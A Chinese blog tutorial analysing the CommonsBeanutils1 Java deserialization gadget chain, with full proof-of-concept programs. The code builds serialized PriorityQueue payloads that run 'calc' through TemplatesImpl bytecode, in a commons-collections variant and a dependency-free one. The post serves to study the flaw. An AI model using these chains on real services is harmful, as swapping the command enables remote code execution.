Java反序列化漏洞——CommonsBeanutils1链分析

一、了解Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。

在Java中,有很多class的定义都符合这样的规范

  • 若干private实例字段;

  • 通过public方法来读写实例字段

举例子:比如定义一个User类

public class User {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

就是包含了一个私有属性name,以及读取和设置这个属性的两个公开方法,定义为getter和setter。getter方法以get开头,setter方法以set开头。

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty让使用者可以直接调用任意JavaBean的getter方法,比如:

PropertyUtils.getProperty(new User(), "name");
  • commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。

  • 除此之外,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。

  • 通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。

二、漏洞原理

前面说到PropertyUtils.getProperty()会自动调用javaBean的get方法,这样就存在一个安全问题,如果get方法中存在任意命令执行的点,则存在安全问题。

在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化,主要是通过调用了其comparator的compare方法,进而调用了transform链的调用。而CB链的思路就是,将其中的comparator替换成commons-beanutils库中的某个comparator,达到我们的目的。其中就用到了如下的BeanComparator这个类:

1.org.apache.commons.beanutils.BeanComparator#compare()——调用点

这里就调用到了我们上面说到的PropertyUtils.getProperty方法,而且property参数对我们是可控的,将会取出两个对象的property属性值,之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。

2.PropertyUtils.getProperty()

接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值,但是他不是直接通过反射取值,而是通过反射调用getter方法获取属性,进而经过恶意的构造,我们可以触发任意的getter方法。

3.TemplatesImpl#getOutputProperties()——命令执行点

getOutputProperties方法调用了newTransformer方法,也正好可以构造字节码任意命令执行。

所以, PropertyUtils.getProperty( o1, property ) 这段代码,当o1是一个TemplatesImpl 对象,而property 的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法,触发代码执行。

调用链如下:

PriorityQueue#readObject --> heapify() --> siftDown() --> siftDownUsingComparator() --> comparator.compare() --> BeanComparator#compare() --> PropertyUtils.getProperty( o1, property )

回过头来分析下BeanComparator的构造器:

在创建类的对象的时候可以为comparator赋予特定的比较器,值得注意的是如果没有设定自定义的comparator,其默认为ComparableComparator对象,当然,在调用链中,将会调用他的compare方法。

三、构造payload

1、依赖CC链

在上面对BeanComparator的构造器分析中,提到了,在创建类对象的时候,将会判断是否存在有comparator属性值,如果没有将会创建一个ComparableComparator对象。

不幸的是,这个类是存在commons-collections的类,如果没有这个依赖,在反序列化的过程中将会抛出异常。当然同样有着解决的办法!

1.首先创建恶意的TemplateImpl:

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

2.实例化BeanComparator

BeanComparator comparator = new BeanComparator();

3.实例化优先队列PriorityQueue

PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(1);

4.反射将property 的值设置成恶意的outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2,comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

//        SeriallizationTest.serizlize(queue);
        UnSerializeTest.unserialize("test.bin");
    }
}

2、不依赖CC链(shiro无依赖利用链)

前面提到了,对于没有CC依赖的原因是,默认下的comparator,是CC依赖中的类,如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。

对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。

存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要反射将对应的comparator写入属性中,就不需要依赖CC库了。

//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
//下面这两个二选一都可以
//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
setFieldValue(queue, "queue", new Object[]{templates, templates});

完整代码:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;

public class CB_withoutCC {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
        //动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "RoboTerh");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        //创建比较器
        BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
        PriorityQueue<Object> queue = new PriorityQueue(2, beanComparator);
        queue.add(1);
        queue.add(1);

        //反射赋值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        //序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(queue);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = ois.readObject();
        baor.close();
    }
}

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值